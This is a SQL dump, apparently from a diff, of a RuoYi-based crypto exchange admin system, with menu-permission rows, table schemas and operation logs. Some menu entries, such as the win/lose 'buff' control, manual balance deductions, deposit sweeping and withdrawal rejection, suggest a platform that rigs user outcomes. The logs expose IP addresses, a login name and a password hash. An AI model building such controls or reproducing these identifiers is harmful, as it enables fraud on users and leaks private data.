INTO `sys_menu` VALUES (2263, '修改', 2200, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpcenter:edit', '#', 'admin', '2023-08-22 19:42:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2264, '删除', 2200, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpcenter:remove', '#', 'admin', '2023-08-22 19:42:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2265, '详情', 2200, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpCenterInfo:list', '#', 'admin', '2023-08-22 19:43:11', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2266, '详情', 2040, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userBank:query', '#', 'admin', '2023-08-22 19:58:07', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2267, '修改', 2040, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userBank:edit', '#', 'admin', '2023-08-22 19:58:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2268, '删除', 2040, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userBank:remove', '#', 'admin', '2023-08-22 19:58:58', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2269, '后台用户', 0, 9, 'manageuser', NULL, NULL, 1, 0, 'M', '0', '0', '', 'peoples', 'admin', '2023-08-22 21:17:22', 'admin', '2023-08-22 21:18:35', ''); +INSERT INTO `sys_menu` VALUES (2270, '输赢', 2033, 6, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:buff', '#', 'admin', '2023-08-28 20:08:11', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2271, '彩金', 2033, 7, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:sendBous', '#', 'admin', '2023-08-28 20:08:38', 'admin', '2023-08-28 20:12:58', ''); +INSERT INTO `sys_menu` VALUES (2272, '下分', 2033, 8, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:subAmount', '#', 'admin', '2023-08-28 20:09:12', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2273, '修改密码', 2033, 9, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:updatePwd', '#', 'admin', '2023-08-28 20:09:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2274, '下级用户', 2094, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userStatistics:agencyAppUserList', '#', 'ceshi', '2023-08-29 10:59:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2275, '刷新', 2021, 6, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:info:refresh', '#', 'admin', '2023-08-29 11:05:25', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2276, '归集', 2021, 7, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:info:collection', '#', 'admin', '2023-08-29 11:06:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2277, '通过-拒绝', 2042, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:realName', '#', 'admin', '2023-08-29 13:22:17', 'admin', '2023-08-29 13:24:02', ''); +INSERT INTO `sys_menu` VALUES (2278, '交易所币种列表', 2077, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:54:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2279, '交易所币种列表', 2083, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:56:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2280, '交易所币种列表', 2084, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:56:41', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2281, '交易所币种列表', 2090, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:57:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2282, '周期配置', 2077, 5, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:list', '#', 'admin', '2023-08-29 14:02:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2283, '删除', 2077, 6, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:remove', '#', 'admin', '2023-08-29 14:07:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2284, '删除', 2251, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:remove', '#', 'admin', '2023-08-29 14:28:16', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2285, '修改上级代理', 2033, 10, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:selectAllAgentUser', '#', 'admin', '2023-08-29 19:03:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2286, '修改代理保存', 2033, 11, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:updateUserAppIds', '#', 'admin', '2023-08-29 19:03:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2287, 'nft详情', 2287, 1, 'nftProduct', 'bussiness/nftProduct/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:nftProduct:list', '#', 'admin', '2023-11-03 04:25:20', '', NULL, 'nft详情菜单'); +INSERT INTO `sys_menu` VALUES (2288, 'nft详情查询', 2287, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:query', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2289, 'nft详情新增', 2287, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:add', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2290, 'nft详情修改', 2287, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:edit', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2291, 'nft详情删除', 2287, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:remove', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2292, 'nft详情导出', 2287, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:export', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2293, 'nft订单', 2287, 1, 'nftOrder', 'bussiness/nftOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:nftOrder:list', '#', 'admin', '2023-11-03 04:25:20', '', NULL, 'nft订单菜单'); +INSERT INTO `sys_menu` VALUES (2294, 'nft订单查询', 2293, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:query', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2295, 'nft订单新增', 2293, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:add', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2296, 'nft订单修改', 2293, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:edit', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2297, 'nft订单删除', 2293, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:remove', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2298, 'nft订单导出', 2293, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:export', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2299, 'nft合计', 2287, 1, 'series', 'bussiness/series/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:series:list', '#', 'admin', '2023-11-03 04:25:20', '', NULL, 'nft合计菜单'); +INSERT INTO `sys_menu` VALUES (2300, 'nft合计查询', 2299, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:query', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2301, 'nft合计新增', 2299, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:add', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2302, 'nft合计修改', 2299, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:edit', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2303, 'nft合计删除', 2299, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:remove', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2304, 'nft合计导出', 2299, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:export', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2305, '周期批量复制', 2077, 7, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:bathCopy', '#', 'admin', '2023-09-07 18:14:07', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2306, '归集订单', 2039, 1, 'collectionOrder', 'bussiness/collectionOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:collectionOrder:list', '#', 'admin', '2023-11-03 04:25:21', '', NULL, '归集订单菜单'); +INSERT INTO `sys_menu` VALUES (2307, '归集订单查询', 2306, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:query', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2308, '归集订单新增', 2306, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:add', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2309, '归集订单修改', 2306, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:edit', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2310, '归集订单删除', 2306, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:remove', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2311, '归集订单导出', 2306, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:export', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2319, '币种列表', 2326, 3, 'IssueCoins', 'newCoin/IssueCoins/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:coin:list', 'dict', 'admin', '2023-09-18 14:33:30', 'admin', '2023-09-20 14:04:56', '发币菜单'); +INSERT INTO `sys_menu` VALUES (2320, '发币查询', 2319, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:query', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2321, '发币新增', 2319, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:add', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2322, '发币修改', 2319, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:edit', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2323, '发币删除', 2319, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:remove', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2324, '发币导出', 2319, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:export', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2326, '新币发行', 0, 3, 'newCoin', NULL, NULL, 1, 0, 'M', '0', '0', '', 'date-range', 'admin', '2023-09-20 11:29:11', 'admin', '2023-09-20 14:04:19', ''); +INSERT INTO `sys_menu` VALUES (2327, '申购订单', 2326, 1, 'ownCoinOrder', 'newCoin/ownCoinOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:ownCoinOrder:list', '#', 'admin', '2023-09-20 11:33:32', 'admin', '2023-09-20 14:04:42', '申购订单菜单'); +INSERT INTO `sys_menu` VALUES (2328, '申购订单查询', 2327, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:query', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2329, '申购订单新增', 2327, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:add', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2330, '申购订单修改', 2327, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:edit', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2331, '申购订单删除', 2327, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:remove', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2332, '申购订单导出', 2327, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:export', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2333, '交易所', 0, 4, 'tradingPlaces', NULL, NULL, 1, 0, 'M', '0', '0', '', 'nested', 'admin', '2023-10-08 15:24:31', 'admin', '2023-10-08 15:28:15', ''); +INSERT INTO `sys_menu` VALUES (2334, '自发币', 2333, 0, 'spontaneousCoin', 'tradingPlaces/spontaneousCoin/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:spontaneousCoin:list', 'build', 'admin', '2023-10-08 15:29:35', 'admin', '2023-10-08 15:37:40', ''); +INSERT INTO `sys_menu` VALUES (2335, '修改查看', 2334, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:query', '#', 'admin', '2023-10-09 11:01:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2336, '新增', 2334, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:add', '#', 'admin', '2023-10-09 11:01:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2337, '修改', 2334, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:edit', '#', 'admin', '2023-10-09 11:01:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2338, '删除', 2334, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:remove', '#', 'admin', '2023-10-09 11:02:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2339, '质押限购', 2250, 0, '/ming/pledgeNum', 'pledge/ming/pledgeNum', NULL, 1, 0, 'C', '1', '0', 'bussiness:productUser:list', 'button', 'admin', '2023-10-11 17:35:28', 'admin', '2023-10-12 10:31:14', ''); +INSERT INTO `sys_menu` VALUES (2340, '赎回', 2086, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:reCall', '#', 'superAdmin', '2023-10-16 17:21:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2366, '黑名单', 2033, 12, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:updateBlackStatus', '#', 'superAdmin', '2023-10-23 18:10:26', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2380, '绑定代理用户', 100, 11, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:bindingAdminUser', '#', 'superAdmin', '2023-10-26 17:20:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2381, '查询代理用户', 100, 10, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:selectAllAgentUser', '#', 'superAdmin', '2023-10-26 17:20:03', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2382, '绑定玩家用户', 100, 9, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:bindingAppUser', '#', 'superAdmin', '2023-10-26 17:18:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2383, '查询玩家用户', 100, 8, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:selectUnboundAppUser', '#', 'superAdmin', '2023-10-26 17:16:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2385, '玩家充值地址配置', 2039, 88, '/bussiness/userRecharge', 'bussiness/userRecharge/index', NULL, 1, 1, 'C', '1', '0', 'bussiness:userRecharge:list', '#', 'admin', '2023-12-07 10:10:49', 'admin', '2023-12-07 10:14:57', ''); + +-- ---------------------------- +-- Table structure for sys_notice +-- ---------------------------- +DROP TABLE IF EXISTS `sys_notice`; +CREATE TABLE `sys_notice` ( + `notice_id` int(0) NOT NULL AUTO_INCREMENT COMMENT '公告ID', + `notice_title` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '公告标题', + `notice_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '公告类型(1通知 2公告)', + `notice_content` longblob NULL COMMENT '公告内容', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '公告状态(0正常 1关闭)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`notice_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '通知公告表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_oper_log +-- ---------------------------- +DROP TABLE IF EXISTS `sys_oper_log`; +CREATE TABLE `sys_oper_log` ( + `oper_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '日志主键', + `title` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '模块标题', + `business_type` int(0) NULL DEFAULT 0 COMMENT '业务类型(0其它 1新增 2修改 3删除)', + `method` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '方法名称', + `request_method` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '请求方式', + `operator_type` int(0) NULL DEFAULT 0 COMMENT '操作类别(0其它 1后台用户 2手机端用户)', + `oper_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '操作人员', + `dept_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '部门名称', + `oper_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '请求URL', + `oper_ip` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '主机地址', + `oper_location` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '操作地点', + `oper_param` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '请求参数', + `json_result` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '返回参数', + `status` int(0) NULL DEFAULT 0 COMMENT '操作状态(0正常 1异常)', + `error_msg` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '错误消息', + `oper_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + `cost_time` bigint(0) NULL DEFAULT 0 COMMENT '消耗时间', + PRIMARY KEY (`oper_id`) USING BTREE, + INDEX `idx_sys_oper_log_bt`(`business_type`) USING BTREE, + INDEX `idx_sys_oper_log_s`(`status`) USING BTREE, + INDEX `idx_sys_oper_log_ot`(`oper_time`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 68 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '操作日志记录' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_oper_log +-- ---------------------------- +INSERT INTO `sys_oper_log` VALUES (1, '操作日志', 9, 'com.ruoyi.web.controller.monitor.SysOperlogController.clean()', 'DELETE', 1, 'admin', NULL, '/monitor/operlog/clean', '107.181.161.214', 'XX XX', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-01-19 15:25:15', 29); +INSERT INTO `sys_oper_log` VALUES (2, '查看已有的周期配置币种', 3, 'com.ruoyi.web.controller.bussiness.TSecondCoinConfigController.bathCopy()', 'POST', 1, 'admin', NULL, '/bussiness/coin/query/bathCopy', '154.31.113.10', 'XX XX', '', '{\"msg\":\"操作成功\",\"code\":200,\"data\":[{\"id\":42,\"params\":{},\"showSymbol\":\"BTC/USDT\",\"symbol\":\"btcusdt\"},{\"id\":43,\"params\":{},\"showSymbol\":\"ETH/USDT\",\"symbol\":\"ethusdt\"},{\"id\":44,\"params\":{},\"showSymbol\":\"XRP/USDT\",\"symbol\":\"xrpusdt\"},{\"id\":45,\"params\":{},\"showSymbol\":\"LTC/USDT\",\"symbol\":\"ltcusdt\"},{\"id\":46,\"params\":{},\"showSymbol\":\"BNB/USDT\",\"symbol\":\"bnbusdt\"},{\"id\":47,\"params\":{},\"showSymbol\":\"MATIC/USDT\",\"symbol\":\"maticusdt\"},{\"id\":48,\"params\":{},\"showSymbol\":\"SOL/USDT\",\"symbol\":\"solusdt\"},{\"id\":49,\"params\":{},\"showSymbol\":\"DOGE/USDT\",\"symbol\":\"dogeusdt\"},{\"id\":50,\"params\":{},\"showSymbol\":\"TRX/USDT\",\"symbol\":\"trxusdt\"},{\"id\":53,\"params\":{},\"showSymbol\":\"BLZ/USDT\",\"symbol\":\"blzusdt\"},{\"id\":57,\"params\":{},\"showSymbol\":\"LEVER/USDT\",\"symbol\":\"leverusdt\"}]}', 0, NULL, '2024-01-25 11:15:54', 1); +INSERT INTO `sys_oper_log` VALUES (3, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '154.31.113.10', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-01-25 16:10:03', 0); +INSERT INTO `sys_oper_log` VALUES (4, '提现管理.锁定', 2, 'com.ruoyi.web.controller.bussiness.TWithdrawController.lockorder()', 'POST', 1, 'admin', NULL, '/bussiness/withdraw/lockorder', '172.104.190.252', 'XX XX', '{\"id\":2627,\"params\":{},\"toAdress\":\"111121312312\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-08 10:51:58', 8); +INSERT INTO `sys_oper_log` VALUES (5, '提现管理.锁定判断', 2, 'com.ruoyi.web.controller.bussiness.TWithdrawController.trycheck()', 'POST', 1, 'admin', NULL, '/bussiness/withdraw/tryCheck', '172.104.190.252', 'XX XX', '{\"id\":2627,\"params\":{},\"toAdress\":\"111121312312\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-08 10:52:00', 3); +INSERT INTO `sys_oper_log` VALUES (6, '提现管理.审核失败', 2, 'com.ruoyi.web.controller.bussiness.TWithdrawController.rejectOrder()', 'POST', 1, 'admin', NULL, '/bussiness/withdraw/reject', '172.104.190.252', 'XX XX', '{\"id\":2627,\"params\":{},\"toAdress\":\"111121312312\"}', '{\"msg\":\"成功\",\"code\":200}', 0, NULL, '2024-02-08 10:59:13', 1014); +INSERT INTO `sys_oper_log` VALUES (7, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '104.245.100.188', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-11 08:11:13', 0); +INSERT INTO `sys_oper_log` VALUES (8, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '104.245.100.188', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-11 08:12:27', 0); +INSERT INTO `sys_oper_log` VALUES (9, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '104.245.100.188', 'XX XX', '{\"activeCode\":\"SB6199\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-11 08:12:52\",\"host\":\"104.245.100.188\",\"isTest\":0,\"level\":0,\"loginName\":\"awen123\",\"loginPassword\":\"$2a$10$hbb71wQ7Yg.l1hL2DBvpmuj6X0llgJnVOXgLH4cXWBJXzzc8rtt5W\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-11 08:12:52\",\"userId\":324,\"walletType\":\"TRC\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-11 08:12:52', 94); +INSERT INTO `sys_oper_log` VALUES (10, '人工上下分', 2, 'com.ruoyi.web.controller.bussiness.TAppUserController.subAmount()', 'POST', 1, 'admin', NULL, '/bussiness/user/subAmount', '104.245.100.188', 'XX XX', '{\"amount\":100000,\"createBy\":\"admin\",\"giveType\":\"0\",\"symbol\":\"usdt\",\"type\":\"1\",\"userId\":324}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-11 08:14:17', 11); +INSERT INTO `sys_oper_log` VALUES (11, '查看已有的周期配置币种', 3, 'com.ruoyi.web.controller.bussiness.TSecondCoinConfigController.bathCopy()', 'POST', 1, 'admin', NULL, '/bussiness/coin/query/bathCopy', '104.245.100.188', 'XX XX', '', '{\"msg\":\"操作成功\",\"code\":200,\"data\":[{\"id\":42,\"params\":{},\"showSymbol\":\"BTC/USDT\",\"symbol\":\"btcusdt\"},{\"id\":43,\"params\":{},\"showSymbol\":\"ETH/USDT\",\"symbol\":\"ethusdt\"},{\"id\":44,\"params\":{},\"showSymbol\":\"XRP/USDT\",\"symbol\":\"xrpusdt\"},{\"id\":45,\"params\":{},\"showSymbol\":\"LTC/USDT\",\"symbol\":\"ltcusdt\"},{\"id\":46,\"params\":{},\"showSymbol\":\"BNB/USDT\",\"symbol\":\"bnbusdt\"},{\"id\":47,\"params\":{},\"showSymbol\":\"MATIC/USDT\",\"symbol\":\"maticusdt\"},{\"id\":48,\"params\":{},\"showSymbol\":\"SOL/USDT\",\"symbol\":\"solusdt\"},{\"id\":49,\"params\":{},\"showSymbol\":\"DOGE/USDT\",\"symbol\":\"dogeusdt\"},{\"id\":50,\"params\":{},\"showSymbol\":\"TRX/USDT\",\"symbol\":\"trxusdt\"},{\"id\":53,\"params\":{},\"showSymbol\":\"BLZ/USDT\",\"symbol\":\"blzusdt\"},{\"id\":57,\"params\":{},\"showSymbol\":\"LEVER/USDT\",\"symbol\":\"leverusdt\"}]}', 0, NULL, '2024-02-11 08:19:41', 2); +INSERT INTO `sys_oper_log` VALUES (12, '币币交易币种配置', 1, 'com.ruoyi.web.controller.bussiness.TCurrencySymbolController.add()', 'POST', 1, 'admin', NULL, '/bussiness/currency/symbol', '104.245.100.188', 'XX XX', '{\"baseCoin\":\"usdt\",\"coin\":\"gmee\",\"createBy\":\"admin\",\"enable\":\"1\",\"feeRate\":0.005,\"id\":45,\"logo\":\"https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamee.png\",\"market\":\"huobi\",\"minSell\":10,\"orderMax\":10,\"orderMin\":10,\"params\":{},\"showSymbol\":\"GMEE/USDT\",\"symbol\":\"gmeeusdt\",\"updateBy\":\"admin\",\"updateTime\":\"2024-02-11 08:21:30\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-11 08:21:30', 17); +INSERT INTO `sys_oper_log` VALUES (13, '币币交易币种配置', 1, 'com.ruoyi.web.controller.bussiness.TCurrencySymbolController.add()', 'POST', 1, 'admin', NULL, '/bussiness/currency/symbol', '104.245.100.188', 'XX XX', '{\"coin\":\"gmee\",\"enable\":\"1\",\"feeRate\":0.005,\"market\":\"huobi\",\"minSell\":10,\"orderMax\":10,\"orderMin\":10,\"params\":{}}', '{\"msg\":\"gmeeusdt交易对已经存在\",\"code\":500}', 0, NULL, '2024-02-11 08:21:39', 1); +INSERT INTO `sys_oper_log` VALUES (14, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 